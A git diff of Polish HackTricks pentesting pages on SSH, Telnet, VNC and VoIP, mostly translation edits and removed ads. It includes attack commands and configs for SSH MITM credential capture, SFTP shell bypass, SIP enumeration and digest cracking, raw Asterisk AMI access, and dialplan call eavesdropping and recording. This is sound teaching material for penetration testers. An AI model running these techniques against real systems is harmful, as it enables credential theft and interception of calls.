używając protokołu `ssh` może używać opcji `--kerberos`, aby **uwierzytelnić się za pomocą kerberos**.\ +**crackmapexec** używając protokołu `ssh` może użyć opcji `--kerberos`, aby **uwierzytelnić się za pomocą kerberos**.\ Aby uzyskać więcej informacji, uruchom `crackmapexec ssh --help`. ## Domyślne dane logowania @@ -161,17 +157,17 @@ Jeśli jesteś w lokalnej sieci jako ofiara, która zamierza połączyć się z **Ścieżka ataku:** -- **Przekierowanie ruchu:** Atakujący **przekierowuje** ruch ofiary na swoją maszynę, skutecznie **przechwytując** próbę połączenia z serwerem SSH. -- **Przechwytywanie i rejestrowanie:** Maszyna atakującego działa jako **proxy**, **przechwytując** dane logowania użytkownika, udając, że jest legalnym serwerem SSH. -- **Wykonywanie poleceń i przekazywanie:** Na koniec serwer atakującego **rejestruje dane logowania użytkownika**, **przekazuje polecenia** do prawdziwego serwera SSH, **wykonuje** je i **wysyła wyniki z powrotem** do użytkownika, sprawiając, że proces wydaje się płynny i legalny. +- **Przekierowanie ruchu:** Napastnik **przekierowuje** ruch ofiary na swoją maszynę, skutecznie **przechwytując** próbę połączenia z serwerem SSH. +- **Przechwytywanie i rejestrowanie:** Maszyna napastnika działa jako **proxy**, **przechwytując** dane logowania użytkownika, udając, że jest legalnym serwerem SSH. +- **Wykonywanie poleceń i przekazywanie:** Na koniec serwer napastnika **rejestruje dane logowania użytkownika**, **przekazuje polecenia** do prawdziwego serwera SSH, **wykonuje** je i **wysyła wyniki z powrotem** do użytkownika, sprawiając, że proces wydaje się płynny i legalny. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) robi dokładnie to, co opisano powyżej. -Aby przechwycić i przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak spoofing ARP, spoofing DNS lub innych opisanych w [**atakach spoofingowych w sieci**](../generic-methodologies-and-resources/pentesting-network/#spoofing). +Aby przechwycić i przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofing lub innych opisanych w [**Atakach spoofingowych w sieci**](../generic-methodologies-and-resources/pentesting-network/#spoofing). ## SSH-Snake -Jeśli chcesz przeszukiwać sieć, używając odkrytych kluczy prywatnych SSH na systemach, wykorzystując każdy klucz prywatny na każdym systemie dla nowych hostów, to [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) jest tym, czego potrzebujesz. +Jeśli chcesz przemieszczać się po sieci, używając odkrytych kluczy prywatnych SSH na systemach, wykorzystując każdy klucz prywatny na każdym systemie dla nowych hostów, to [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) jest tym, czego potrzebujesz. SSH-Snake automatycznie i rekurencyjnie wykonuje następujące zadania: @@ -201,7 +197,7 @@ Jest powszechne, że serwery SSH domyślnie pozwalają na logowanie użytkownika ### Wykonywanie poleceń SFTP -W przypadku konfiguracji SFTP często występuje powszechne niedopatrzenie, gdzie administratorzy zamierzają, aby użytkownicy wymieniali pliki bez włączania dostępu do powłoki zdalnej. Mimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, pozostaje luka w zabezpieczeniach. **Użytkownicy mogą obejść te ograniczenia**, żądając wykonania polecenia (takiego jak `/bin/bash`) natychmiast po zalogowaniu, zanim ich przypisana powłoka nieinteraktywna przejmie kontrolę. To pozwala na nieautoryzowane wykonywanie poleceń, podważając zamierzone środki bezpieczeństwa. +W przypadku konfiguracji SFTP często występuje powszechne niedopatrzenie, gdzie administratorzy zamierzają, aby użytkownicy wymieniali pliki bez włączania dostępu do powłoki zdalnej. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, pozostaje luka w zabezpieczeniach. **Użytkownicy mogą obejść te ograniczenia**, żądając wykonania polecenia (takiego jak `/bin/bash`) natychmiast po zalogowaniu, zanim ich przypisana powłoka nieinteraktywna przejmie kontrolę. To pozwala na nieautoryzowane wykonywanie poleceń, podważając zamierzone środki bezpieczeństwa. [Przykład stąd](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -236,7 +232,7 @@ PermitTunnel no X11Forwarding no PermitTTY no ``` -Ta konfiguracja pozwoli tylko na SFTP: wyłączając dostęp do powłoki poprzez wymuszenie polecenia start i wyłączając dostęp TTY, a także wyłączając wszelkiego rodzaju przekazywanie portów lub tunelowanie. +Ta konfiguracja pozwoli tylko na SFTP: wyłączając dostęp do powłoki poprzez wymuszenie polecenia start i wyłączając dostęp TTY, ale także wyłączając wszelkiego rodzaju przekazywanie portów lub tunelowanie. ### SFTP Tunneling @@ -246,7 +242,7 @@ sudo ssh -L :: -N -f @
- -**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - ## HackTricks Automatic Commands ``` Protocol_Name: SSH diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index f71873425..0a8ac3c59 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **Podstawowe informacje** -Telnet to protokół sieciowy, który daje użytkownikom niebezpieczny sposób dostępu do komputera przez sieć. +Telnet to protokół sieciowy, który daje użytkownikom nieszyfrowany sposób dostępu do komputera przez sieć. **Domyślny port:** 23 ``` @@ -24,13 +17,13 @@ Telnet to protokół sieciowy, który daje użytkownikom niebezpieczny sposób d ```bash nc -vn 23 ``` -Wszystkie interesujące enumeracje można przeprowadzić za pomocą **nmap**: +Cała interesująca enumeracja może być przeprowadzona za pomocą **nmap**: ```bash nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` Skrypt `telnet-ntlm-info.nse` uzyska informacje NTLM (wersje Windows). -Z [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): W protokole TELNET znajdują się różne "**opcje**", które będą zatwierdzone i mogą być używane z strukturą "**DO, DON'T, WILL, WON'T**", aby umożliwić użytkownikowi i serwerowi zgodzenie się na użycie bardziej złożonego (lub może po prostu innego) zestawu konwencji dla ich połączenia TELNET. Takie opcje mogą obejmować zmianę zestawu znaków, tryb echa itp. +Z [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): W protokole TELNET znajdują się różne "**opcje**", które będą zatwierdzone i mogą być używane w strukturze "**DO, DON'T, WILL, WON'T**", aby umożliwić użytkownikowi i serwerowi zgodzenie się na użycie bardziej złożonego (lub może po prostu innego) zestawu konwencji dla ich połączenia TELNET. Takie opcje mogą obejmować zmianę zestawu znaków, tryb echa itp. **Wiem, że możliwe jest enumerowanie tych opcji, ale nie wiem jak, więc daj mi znać, jeśli wiesz jak.** @@ -74,12 +67,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' ``` -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-vnc.md b/src/network-services-pentesting/pentesting-vnc.md index 7e5390ce3..59b0f12ee 100644 --- a/src/network-services-pentesting/pentesting-vnc.md +++ b/src/network-services-pentesting/pentesting-vnc.md @@ -2,11 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_). - -{% embed url="https://www.stmcyber.com/careers" %} ## Podstawowe informacje @@ -47,10 +42,5 @@ Zapisuję to narzędzie tutaj również dla łatwego dostępu: - `port:5900 RFB` -
- -Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 72295a16a..1959ee773 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -2,23 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -
+## Podstawowe informacje o VoIP -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na wykorzystanie luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## VoIP Podstawowe Informacje - -Aby zacząć uczyć się, jak działa VoIP, sprawdź: +Aby rozpocząć naukę o tym, jak działa VoIP, sprawdź: {{#ref}} basic-voip-protocols/ {{#endref}} -## Podstawowe Wiadomości +## Podstawowe wiadomości ``` Request name Description RFC references ------------------------------------------------------------------------------------------------------ @@ -39,7 +31,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 ``` ## Kody Odpowiedzi -**1xx—Odpowiedzi Provisionalne** +**1xx—Odpowiedzi Proszące** ``` 100 Trying 180 Ringing @@ -199,7 +191,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Skanowanie SIPPTS to bardzo szybki skaner dla usług SIP przez UDP, TCP lub TLS. Używa wielowątkowości i może skanować duże zakresy sieci. Umożliwia łatwe wskazanie zakresu portów, skanowanie zarówno TCP, jak i UDP, użycie innej metody (domyślnie użyje OPTIONS) oraz określenie innego User-Agent (i więcej). +- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Skanowanie SIPPTS to bardzo szybki skaner dla usług SIP przez UDP, TCP lub TLS. Używa wielowątkowości i może skanować duże zakresy sieci. Umożliwia łatwe wskazanie zakresu portów, skanowanie zarówno TCP, jak i UDP, użycie innej metody (domyślnie użyje OPTIONS) oraz określenie innego User-Agent (i nie tylko). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -235,7 +227,7 @@ sippts enumerate -i 10.10.0.10 ``` ### Analizowanie odpowiedzi serwera -Bardzo ważne jest, aby analizować nagłówki, które serwer wysyła z powrotem do nas, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Za pomocą `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź. +Bardzo ważne jest, aby analizować nagłówki, które serwer wysyła z powrotem do nas, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Dzięki `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź. ```bash sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp ``` @@ -245,7 +237,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Enumeracja rozszerzeń -Rozszerzenia w systemie PBX (Prywatna Centrala Telefoniczna) odnoszą się do **unikalnych identyfikatorów wewnętrznych przypisanych do poszczególnych** linii telefonicznych, urządzeń lub użytkowników w organizacji lub firmie. Rozszerzenia umożliwiają **efektywne kierowanie połączeniami w organizacji**, bez potrzeby posiadania indywidualnych zewnętrznych numerów telefonów dla każdego użytkownika lub urządzenia. +Rozszerzenia w systemie PBX (Prywatna Centrala Telefoniczna) odnoszą się do **unikalnych identyfikatorów wewnętrznych przypisanych do poszczególnych** linii telefonicznych, urządzeń lub użytkowników w organizacji lub firmie. Rozszerzenia umożliwiają **efektywne kierowanie połączeniami w organizacji**, bez potrzeby posiadania indywidualnych zewnętrznych numerów telefonicznych dla każdego użytkownika lub urządzenia. - **`svwar`** z SIPVicious (`sudo apt install sipvicious`): `svwar` to darmowy skaner linii rozszerzeń SIP PBX. W koncepcji działa podobnie do tradycyjnych wardialerów, **zgadując zakres rozszerzeń lub podaną listę rozszerzeń**. ```bash @@ -260,7 +252,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200 auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` -- **`enumiax` (`apt install enumiax`): enumIAX** to protokół Inter Asterisk Exchange **do enumeracji nazw użytkowników metodą brute-force**. enumIAX może działać w dwóch odrębnych trybach: sekwencyjnego zgadywania nazw użytkowników lub ataku słownikowego. +- **`enumiax` (`apt install enumiax`): enumIAX** to protokół Inter Asterisk Exchange **do enumeracji brute-force nazw użytkowników**. enumIAX może działać w dwóch odrębnych trybach: Sekwencyjne Zgadywanie Nazw Użytkowników lub Atak Słownikowy. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 @@ -293,7 +285,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt Jeśli znajdziesz sprzęt VoIP w **otwartej sieci Wifi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronioną Wifi), możesz przeprowadzić **ataki MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje. -Wśród informacji sieciowych możesz znaleźć **dane logowania do zarządzania sprzętem**, **numery wewnętrzne** użytkowników, **nazwy użytkowników**, **adresy IP**, a nawet **zhardcodowane hasła** i **pakiety RTP**, które możesz odtworzyć, aby **usłyszeć rozmowę**, i więcej. +Wśród informacji sieciowych możesz znaleźć **dane logowania do zarządzania sprzętem**, **numery wewnętrzne** użytkowników, **nazwy użytkowników**, adresy **IP**, a nawet **zhardcodowane hasła** i **pakiety RTP**, które możesz odtworzyć, aby **usłyszeć rozmowę**, i więcej. Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdump... ale **specjalnie stworzone narzędzie do przechwytywania rozmów VoIP to** [**ucsniff**](https://github.com/Seabreg/ucsniff). @@ -305,7 +297,7 @@ Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdu [Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), aby dowiedzieć się, jak są **wysyłane poświadczenia**. -- **`sipdump`** i **`sipcrack`**, część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić brute-force**. +- **`sipdump`** i **`sipcrack`**, część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić brute-force** na nich. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt @@ -314,11 +306,11 @@ sipcrack sip-creds.txt -w dict.txt ```bash sippts dump -f capture.pcap -o data.txt ``` -- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack to narzędzie do łamania uwierzytelnień digestowych uzyskanych za pomocą zrzutu SIPPTS. +- **`SIPPTS dcrack`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack to narzędzie do łamania uwierzytelnień digestowych uzyskanych za pomocą zrzutu SIPPTS. ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` -- **`SIPPTS tshark`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark wyodrębnia dane protokołu SIP z pliku PCAP. +- **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark wyodrębnia dane protokołu SIP z pliku PCAP. ```bash sippts tshark -f capture.pcap [-filter auth] ``` @@ -336,7 +328,7 @@ W Asterisku można zezwolić na połączenie **z konkretnego adresu IP** lub z * host=10.10.10.10 host=dynamic ``` -Jeśli adres IP jest określony, host **nie będzie musiał wysyłać żądań REGISTER** co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednakże, będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP, aby odbierać połączenia. +Jeśli adres IP jest określony, host **nie będzie musiał wysyłać żądań REGISTER** co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednakże, będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP w celu odbierania połączeń. Aby zdefiniować użytkowników, można ich zdefiniować jako: @@ -360,7 +352,7 @@ Możliwe jest również nawiązanie zaufania za pomocą zmiennej insecure: ### Darmowe Połączenia / Błędy Konfiguracji Kontekstu Asteriska -W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym elementem systemu Asteriska, ponieważ definiuje **jak obsługiwane i kierowane są połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu. +W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym elementem systemu Asterisk, ponieważ definiuje **jak są obsługiwane i kierowane połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu. Każdy kontekst jest definiowany w pliku konfiguracyjnym, zazwyczaj w pliku **`extensions.conf`**. Konteksty są oznaczane nawiasami kwadratowymi, a nazwa kontekstu jest umieszczona w ich wnętrzu. Na przykład: ```bash @@ -404,17 +396,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Darmowe połączenia / Źle skonfigurowane IVRS -IVRS oznacza **Interaktywny System Odpowiedzi Głosowej**, technologię telekomunikacyjną, która pozwala użytkownikom na interakcję z systemem komputerowym za pomocą głosu lub tonów dotykowych. IVRS jest używane do budowy **systemów automatycznego obsługi połączeń**, które oferują szereg funkcji, takich jak dostarczanie informacji, kierowanie połączeń i zbieranie danych od użytkowników. +IVRS oznacza **System Interaktywnej Odpowiedzi Głosowej**, technologię telekomunikacyjną, która pozwala użytkownikom na interakcję z systemem komputerowym za pomocą głosu lub tonów dotykowych. IVRS jest używane do budowy **systemów automatycznego obsługi połączeń**, które oferują szereg funkcji, takich jak dostarczanie informacji, kierowanie połączeń i zbieranie danych od użytkowników. IVRS w systemach VoIP zazwyczaj składa się z: 1. **Podpowiedzi głosowe**: Wstępnie nagrane wiadomości audio, które prowadzą użytkowników przez opcje menu IVR i instrukcje. -2. **DTMF** (Dual-Tone Multi-Frequency) sygnalizacja: Tones dotykowe generowane przez naciśnięcie klawiszy na telefonie, które są używane do nawigacji po menu IVR i dostarczania danych. +2. **DTMF** (Dual-Tone Multi-Frequency) signaling: Tones dotykowe generowane przez naciśnięcie klawiszy na telefonie, które są używane do nawigacji po menu IVR i dostarczania danych. 3. **Kierowanie połączeń**: Kierowanie połączeń do odpowiedniego celu, takiego jak konkretne działy, agenci lub numery wewnętrzne na podstawie danych wprowadzonych przez użytkownika. -4. **Zbieranie danych od użytkowników**: Zbieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw, lub jakiekolwiek inne istotne dane. +4. **Zbieranie danych od użytkowników**: Zbieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw lub inne istotne dane. 5. **Integracja z systemami zewnętrznymi**: Łączenie systemu IVR z bazami danych lub innymi systemami oprogramowania w celu uzyskania lub aktualizacji informacji, wykonywania działań lub wyzwalania zdarzeń. -W systemie VoIP Asterisk możesz stworzyć IVR używając planu wybierania (**`extensions.conf`** file) oraz różnych aplikacji, takich jak `Background()`, `Playback()`, `Read()`, i innych. Te aplikacje pomagają odtwarzać podpowiedzi głosowe, zbierać dane od użytkowników i kontrolować przepływ połączeń. +W systemie VoIP Asterisk możesz stworzyć IVR używając planu wybierania (**`extensions.conf`** file) oraz różnych aplikacji, takich jak `Background()`, `Playback()`, `Read()` i innych. Te aplikacje pomagają odtwarzać podpowiedzi głosowe, zbierać dane od użytkowników i kontrolować przepływ połączeń. #### Przykład podatnej konfiguracji ```scss @@ -425,7 +417,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` Poprzedni to przykład, w którym użytkownik jest proszony o **naciśnięcie 1, aby zadzwonić** do działu, **2, aby zadzwonić** do innego, lub **pełnego numeru wewnętrznego**, jeśli go zna.\ -Wrażliwość polega na tym, że wskazana **długość numeru wewnętrznego nie jest sprawdzana, więc użytkownik może wprowadzić 5-sekundowy limit jako pełny numer i zostanie on wywołany.** +Wrażliwość polega na tym, że wskazana **długość numeru wewnętrznego nie jest sprawdzana, więc użytkownik może wprowadzić 5-sekundowy limit czasu jako pełny numer i zostanie on wywołany.** ### Wstrzykiwanie numeru wewnętrznego @@ -433,7 +425,7 @@ Używając numeru wewnętrznego takiego jak: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` -Gdzie **`${EXTEN}`** to **numer wewnętrzny**, który będzie wywoływany, gdy **wprowadzony zostanie ext 101**, to co się stanie: +Gdzie **`${EXTEN}`** to **numer wewnętrzny**, który będzie wywoływany, gdy **wprowadzony zostanie ext 101**, to co się wydarzy: ```scss exten => 101,1,Dial(SIP/101) ``` @@ -454,7 +446,7 @@ Wrażliwość SIP Digest Leak dotyczy dużej liczby telefonów SIP, w tym zarów 3. Telefon ofiary zaczyna dzwonić, a ktoś odbiera i odkłada słuchawkę (ponieważ nikt nie odpowiada na telefon po drugiej stronie) 4. Gdy telefon zostaje odłożony, **telefon ofiary wysyła BYE do atakującego** 5. **Atakujący wydaje odpowiedź 407**, która **prosi o uwierzytelnienie** i wydaje wyzwanie uwierzytelniające -6. **Telefon ofiary podaje odpowiedź na wyzwanie uwierzytelniające** w drugim BYE +6. **Telefon ofiary dostarcza odpowiedź na wyzwanie uwierzytelniające** w drugim BYE 7. **Atakujący może następnie przeprowadzić atak brute-force** na odpowiedzi na wyzwanie na swoim lokalnym komputerze (lub w rozproszonej sieci itp.) i zgadnąć hasło - **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje wrażliwość SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack. @@ -500,7 +492,7 @@ Dzięki tym uprawnieniom każdy adres IP znający hasło mógłby się połączy # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 ``` -**Więcej informacji lub działań może być wymagane.** +**Więcej informacji lub działań może być wymaganych.** ### **Podsłuchiwanie** @@ -510,7 +502,7 @@ Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** wskazuje, że jeśli **zadz Możliwe jest również użycie **`ExtenSpy`**, aby monitorować tylko jeden numer wewnętrzny. -Zamiast słuchać rozmów, możliwe jest **nagrywanie ich w plikach** przy użyciu numeru wewnętrznego, takiego jak: +Zamiast słuchać rozmów, możliwe jest **nagrywanie ich w plikach** za pomocą numeru wewnętrznego, takiego jak: ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) @@ -526,7 +518,7 @@ exten => h,1,System(/tmp/leak_conv.sh &) **RTCPBleed** to poważny problem bezpieczeństwa dotyczący serwerów VoIP opartych na Asterisku (opublikowany w 2017 roku). Luka ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation). -Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyzując strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie adresu IP i portu źródłowego dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **napastnicy** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę lukę RTP Bleed, ponieważ pozwala napastnikom na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników. +Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyjąc strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie adresu IP i portu źródłowego dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **napastnicy** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę lukę RTP Bleed, ponieważ pozwala napastnikom na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników. Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego napastnicy mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta luka może występować zarówno w proxy RTP, jak i w punktach końcowych. @@ -572,14 +564,14 @@ Istnieje polecenie zwane **`Shell`**, które można użyć **zamiast `System`**, - **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używanego do uzyskania dostępu do bazy danych. - to może być użyte do stworzenia nowego użytkownika mysql jako backdoor. - **`Elastix`** -- **`Elastix.conf`** -> Zawiera kilka haseł w czystym tekście, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego. +- **`Elastix.conf`** -> Zawiera kilka haseł w postaci czystego tekstu, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego. - **Kilka folderów** będzie należało do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Użytkownik ten może odczytać poprzednie pliki i kontroluje konfigurację, więc może sprawić, że Asterisk załaduje inne skompromitowane binaria podczas wykonywania. ### Wstrzykiwanie RTP Możliwe jest wstawienie **`.wav`** do rozmów za pomocą 